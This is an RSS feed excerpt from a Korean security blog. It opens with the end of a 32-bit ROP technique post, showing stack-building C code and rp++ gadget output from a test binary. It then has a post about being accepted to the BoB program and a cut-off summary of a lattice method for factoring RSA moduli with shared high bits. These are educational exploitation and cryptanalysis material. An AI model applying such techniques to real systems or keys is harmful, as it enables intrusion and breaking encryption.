#9cdcfe;&quot;&gt;buf&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;6&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;7&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;printf&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;8&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xAAAAAAAA&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;9&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;%s&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;function&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Additional ROP Gadgets&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;32bit에서 gadget의 용도는 오로지 esp를 증가시키는 것이기 때문에, 항상 pop을 쓸 필요는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;rp++으로 gadget 목록을 보면, 다음과 같이 &lt;code&gt;add esp, 0x8&lt;/code&gt; 이나 &lt;code&gt;add esp, 0x10&lt;/code&gt; 이 보인다. pop 개수가 부족하다면 esp를 증가시켜주는 gadget을 사용해 stack을 정리하는 방법을 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;syine@MinetaLinux:~/Desktop/test&amp;nbsp;rp-lin-x86&amp;nbsp;-r&amp;nbsp;5&amp;nbsp;-f&amp;nbsp;./test&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;&quot;add&amp;nbsp;esp&quot;&lt;br /&gt;0x080492ad:&amp;nbsp;add&amp;nbsp;byte&amp;nbsp;[eax],&amp;nbsp;al&amp;nbsp;;&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x08&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebx&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x080492a9:&amp;nbsp;add&amp;nbsp;ebx,&amp;nbsp;0x00002D57&amp;nbsp;;&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x08&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebx&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x0804901f:&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x08&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebx&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x080492af:&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x08&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebx&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x0804927d:&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x0C&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebx&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;esi&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;edi&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebp&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x08049122:&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x10&amp;nbsp;;&amp;nbsp;leave&amp;nbsp;&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x0804916f:&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x10&amp;nbsp;;&amp;nbsp;leave&amp;nbsp;&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;br /&gt;0x0804901a:&amp;nbsp;sal&amp;nbsp;byte&amp;nbsp;[edx+eax-0x01],&amp;nbsp;0xFFFFFFD0&amp;nbsp;;&amp;nbsp;add&amp;nbsp;esp,&amp;nbsp;0x08&amp;nbsp;;&amp;nbsp;pop&amp;nbsp;ebx&amp;nbsp;;&amp;nbsp;ret&amp;nbsp;&amp;nbsp;;&amp;nbsp;&amp;nbsp;(1&amp;nbsp;found)&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Pwn/Techniques</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/148</guid>
      <comments>https://mineta.tistory.com/148#entry148comment</comments>
      <pubDate>Thu, 25 Jun 2020 21:40:45 +0900</pubDate>
    </item>
    <item>
      <title>BoB 9기 최종합격</title>
      <link>https://mineta.tistory.com/147</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 0.87em; color: black; letter-spacing: 0px;&quot;&gt;올해로 취약점분석 트랙에 지원해서 최종 합격하게 되었다. 작년에도 이야기는 들었지만 너무 베이스가 없어서 신청할 생각을 하진 못했다. 1년간 많은 것들을 배우고 다시 지원했다.&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;말하기는 부끄럽지만, 사실 합격은 예상하고 있었다... 다만 내가 정말로 여기에 준비가 된 사람인가에 대해서 의문이 계속 생기긴 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 서류&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;BoB의 서류전형에서, 제출 가능한 항목을 살펴보면 다양한 것들이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;9기 기준으로 다음과 같은 10개의 항목을 기재할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;자격증 / 어학 / 수상경력 / 교육사항 / 보유기술 / 기술발표 / 발표논문 / 취약점 제보이력 / 프로젝트 기술서 / 추천서&amp;amp;포트폴리오&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;보안에 제대로 입문한지 이제 겨우 1년이 다 되어가는 상황에서 채울 건 하나도 없었고.. (그나마 Incognito CTF 수상경력..) 추천서는 학교에서 멀웨어 분석을 주로 연구하시는 교수님께서 써 주신 것을 냈다. 포트폴리오는 초등학생&amp;amp;중학생 때의 정보올림피아드, 개발 경험과 대학생 때의 CTF 관련 활동을 중점적으로 적어서 제출했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;위 분야에서 자기가 지원한 트랙과 연결지을 수 있는 경력이 있으면 서류전형은 무난하게 통과할 듯 하다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;스펙을 나열하는 것 외에, 자기소개서와 학습계획서를 작성해야 한다. 자기소개서는 자기소개, 성과 및 사례, 지원동기, 합격 후 포부를 각각 1000자 이내로 써야 하며, 학습계획서는 관심분야, BoB 학습계획, 진로계획을 각각 1000자 이내로 작성해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;개인적인 의견으로.. 보안은 아직은 마이너한 분야라고 생각하기 때문에, 충분한 관심과 열정이 있다면 unique 하게 내용을 채우는 건 별로 어렵지 않다고 생각한다. 만약 보안에 관심이 없다면 1년이라는 시간을 BoB에 쓰지 말고 다른 곳에 투자하는 게...&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;BoB에서는 팀별로 프로젝트를 진행하기 때문에, 보안 분야에서 프로젝트로 한 번쯤 진행해 봤으면 하는 것들을 미리 생각해 두고, 관심분야와 학습계획 파트에서 이걸 잘 연결지어서 써 주면 좋은 인상을 남길 수 있을 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 인적성검사&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;어릴 때 하던 IQ 테스트 같은 느낌인데 역량껏 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 필기시험 (CTF)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이전에는 어땠는지 모르지만 이번에는 트랙별로 시험이 달랐다. (홈페이지 참고) 취약점분석 트랙은 CTF 형식으로 시험이 진행되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;CTF 난이도는 어렵지 않았다. 문제 유출이 금지되어 있어서 어떤 문제가 나왔는지 말은 못하겠지만, 시험 시간이 24시간 이었다면 아마 다 풀었을 것 같다. 시간이 부족해서 절반 조금 넘게 풀었다. (7/12)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 면접&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;코로나 때문에 면접도 온라인으로 진행했다. 프로젝트 발표를 하고 싶었지만 3분 자기소개가 끝이어서 좀 아쉬웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;BoB가 압박면접으로 유명하다고 들었는데.. 나는 그런 느낌은 못 받았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;왜 보안이라는 분야에 흥미를 갖고 있는지, 왜 BoB에 지원했는지, 앞으로 어떤 역할을 하고 싶은지, 이 세 주제를 연결짓고, 사례를 몇 가지 들면서 스토리를 풀었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;자기소개가 끝난 후, 서류에 작성했던 것 (자기소개서, 학습계획서) 를 바탕으로 질문이 들어온다. 만약 자기가 잘 모르는 것을 서류에 쓰면 여기서 칼같이 걸러질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이외에도 면접관 분들께서 질문을 몇 개씩 하는데 침착하게, 아는 범위 내에서 답변했다. (무슨무슨 종류에 해당하는 공격 기법 제시, 진로 계획 설명 등...) 모르는 건 모른다고 해야 한다. 잘 모르는 거 설명하려고 하다가 크리티컬 맞을 수 있다..&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;KUCIS 우수동아리 시상식에서 봤던 (것 같은) 분이랑 같이 면접을 보게 되서 나름 신선했다. 같이 면접을 봤던 분들 스펙이 상당했는데, 최종합격 리스트를 보니 두 분 다 포함되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;Last update: 6/25/2020&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>Note</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/147</guid>
      <comments>https://mineta.tistory.com/147#entry147comment</comments>
      <pubDate>Thu, 25 Jun 2020 04:49:41 +0900</pubDate>
    </item>
    <item>
      <title>Implicit Factoring with Shared MSBs &amp;amp; Middle Bits</title>
      <link>https://mineta.tistory.com/146</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* PC버전으로 보지 않으면 MathJax 플러그인이 실행되지 않아 expression이 표현되지 않습니다.&lt;/b&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 글은 PKC 2010 ; 13th International Conference on Practice and Theory in Public Key Cryptography 에서 발표된 Jean-Charles Faug&amp;egrave;re, Rapha&amp;euml;l Marinier, Gu&amp;eacute;na&amp;euml;l Renault 의 연구를 &lt;s&gt;번역&lt;/s&gt;정리한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;RSA를 공략하기 위한 방법 중 하나는 \(N\)을 소인수분해하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;일반적으로 큰 수를 소인수분해하기는 어렵지만, 특정 조건이 맞으면 짧은 시간 내에 소인수분해를 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Factoring 2 RSA Moduli with Shared MSBs&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음과 같이 2개의 \(n\)-bit RSA moduli \(N\)이 있다고 가정하자. \(q_{i}\)는 \(\alpha\)-bit 소수이고, \(p_{i}\)는 \(t\)개의 MSB (최상위 비트) 를 공유한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[\begin{align}N_{1}&amp;amp;=p_{1}q_{1} \\ N_{2}&amp;amp;=p_{2}q_{2}\end{align}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(t\geq 2\alpha+3\) 이면, \(N_{i}\)을 \(O\left(n^{2}\right)\) 시간 내에 소인수분해할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Proof&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Lemma 1에서 정의한 lattice \(L\)의 reduced basis를 구하는 데 \(O\left(n^{2}\right)\)의 시간이 걸리고, Lemma 2에서 \(t\geq 2\alpha+3\) 이면 \(\mathbf{b}_{0}=\pm\mathbf{v}_{0}\) 임을 증명하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Lemma 1 아래의 설명을 따라 \(N_{i}\)의 인수를 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Lemma 1.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;행렬 \(M\)을 아래와 같이 정의하고, \(M\)의 row vector를 각각 \(\mathbf{v}_{1}\), \(\mathbf{v}_{2}\) 라고 하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[M=\begin{bmatrix}K &amp;amp; 0 &amp;amp; N_{2} \\ 0 &amp;amp; K &amp;amp; -N_{1}\end{bmatrix},\quad K=\lfloor2^{n-t+\frac{1}{2}}\rfloor\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;행렬 \(M\)의 row vector의 span으로 구성되는 lattice \(L\)을 가정하고, \(L\)의 벡터 \(\mathbf{v}_{0}\)을 다음과 같이 정의한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[\mathbf{v}_{0} = q_{1}\mathbf{v}_{1}+q_{2}\mathbf{v}_{2}=\langle q_{1}K, q_{2}K, q_{1}q_{2}(p_{2}-p_{1})\rangle\]&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(p_{1}\)과 \(p_{2}\)는 \(t\)개의 최상위 비트를 공유하기 때문에 \(p_{2}-p_{1}\) 은 대략 \(n+\alpha-t\) bit의 정수가 된다. \(t\)가 충분히 크다면 \(\mathbf{v}_{0}\)은 \(L\)의 shortest vector가 될 수 있고, 이 경우 \(\mathbf{v}_{0}\)을 \(K\)로 나눠 \(q_{1}\)과 \(q_{2}\)를 다항 시간 (\(O(n^{2})\)) 내에 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(L\)의 Gramian matrix는 \(MM^{T}=\begin{bmatrix}K^{2}+N_{2}^{2} &amp;amp; -N_{1}N_{2} \\ -N_{1}N_{2} &amp;amp; K^{2}+N_{1}^{2}\end{bmatrix}\) 이고, \(L\)의 volume은 Gramian matrix의 행렬식으로 \(V=\mathrm{det}(MM^{T})=K\sqrt{N_{1}^{2}+N_{2}^{2}+K^{2}}\) 이다. \(K^{2}\approx 2^{2(n-t)}\) 은 \(N_{i}^{2}\approx 2^{2n}\) 에 비해 상대적으로 작기 때문에, \(V\approx 2^{2n-t}\) 으로 근사시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(\mathbf{v}_{0}\)이 \(L\)의 shortest vector라면, 이 vector의 norm \(\left\lVert\mathbf{v}_{0}\right\rVert\approx 2^{n+\alpha-t}\)는 \(L\)의 Minkowski's bound보다 작다. 따라서 아래 식이 성립한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[2^{n+\alpha-t}\approx\left\lVert\mathbf{v}_{0}\right\rVert\leq\sqrt{2}V^{\frac{1}{2}}\approx 2^{n-\frac{t}{2}}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;위 식은 \(t\geq2\alpha\) 인 경우 성립한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Lemma 2.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Lagrange method를 통해 찾은 \(L\)의 basis를 \(\langle\mathbf{b}_{1},\mathbf{b}_{2}\rangle\) 라고 하자. \(\left\lVert\mathbf{b}_{i}\right\rVert=\lambda_{i}(L)\) 이며 Hadamard's inequality에 의해 \(\mathrm{det}(L)\geq V\) 가 성립한다. 이 부등식을 풀어 아래의 두 관계를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[\begin{align}\left\lVert\mathbf{b}_{1}\right\rVert&amp;amp;\leq\left\lVert\mathbf{v}_{0}\right\rVert \\ \left\lVert\mathbf{b}_{2}\right\rVert&amp;amp;\geq\frac{V}{\left\lVert\mathbf{v}_{0}\right\rVert}\end{align}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;만약 \(\mathbf{v}_{0}&amp;lt;\mathbf{b}_{2}\) 라면, \(\mathbf{b}_{2}\)가 \(L\)의 local minimum이기 때문에 다음 식이 성립한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[\mathbf{v}_{0}=a\mathbf{b}_{1}=a(b\mathbf{v}_{1}+c\mathbf{v}_{2})\qquad a,b,c\in\mathbb{Z}\quad(ab=q_{1},ac=q_{2})\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(q_{i}\)는 소수이기 때문에 \(a=\pm 1\)이 되고, 따라서 \(\mathbf{v}_{0}=\pm\mathbf{b}_{1}\) 이다. 이를 다시 위의 부등호에 대입하면 아래의 결과가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[\left\lVert\mathbf{v}_{0}\right\rVert^{2}&amp;lt;V\tag{1}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이제 \(\left\lVert\mathbf{v}_{0}\right\rVert\)의 upper bound와 \(V\)의 lower bound를 구해 \(t\)의 범위를 구할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(|p_{2}-p_{1}|\leq2^{n-\alpha+1-t}\) 이므로, \(\mathbf{v}_{0}\)의 정의에 의해 \(\mathbf{v}_{0}\leq2^{2(n-t)+1}\left(q_{1}^{2}+q_{2}^{2}\right)+q_{1}^{2}q_{2}^{2}\left(p_{1}-p_{2}\right)^{2}\) 이다. \(p\)와 \(q\)를 풀어주면 아래의 bound를 얻는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[\left\lVert\mathbf{v}_{0}\right\rVert^{2}\leq2^{2(n+\alpha-t)+2}+2^{2(\alpha+n+1-t)}\leq 2^{2(n+\alpha-t)+3}\tag{2}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(V\)는 \(N_{1}, N_{2}\geq 2^{n-1}\) 과 \(K^{2}\geq 2^{2(n-t)}\) 를 이용해서 아래의 boundary를 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[V^{2}=K^{2}\left(N_{1}^{2}+N_{2}^{2}+2^{2(n-t)}\right)&amp;gt;2^{4n-2t-1}\tag{3}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;부등식 (2)와 (3)에서, (1)이 성립하기 위한 \(t\)의 범위는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[t\geq 2\alpha+4\tag{4}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;한편 \(\left\lVert\mathbf{v}_{0}\right\rVert\)과 \(V\)의 범위를 더 tight하게 구해서 \(t\)의 범위를 확장시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(q_{i}\)는 \(\alpha\)-bit 소수이므로 \(q_{i}\leq2^{\alpha}-1\) 이다. \(2^{\alpha}-1=2^{\alpha-\epsilon_{1}}\) 로 \(\epsilon_{1}\)을 정의한다. \(q_{i}^{2}\leq 2^{2\alpha -2\epsilon_{1}}\) 이며, \(K\)의 정의를 사용해서 \(K^{2}q_{i}^{2}\)의 upper bound를 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[K^{2}q_{i}^{2}\leq 2^{2(n-t+\alpha)+1-2\epsilon_{1}}\tag{5}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(p_{i}\)의 성질을 사용해 아래 부등식을 만들 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\[q_{1}^{2}q_{2}^{2}\left(p_{2}-p_{1}\right)^{2}\leq 2^{2(n-t+\alpha+1-2\epsilon_{1})}\tag{6}\]&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;\(\left\lVert\mathbf{v}_{0}\right\rVert^{2}\)을 \(p\)와 \(q\)로 풀어서 쓴 식에 (5), (6)의 부등식을 대입해서 다음과 같이 boundary를 설정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
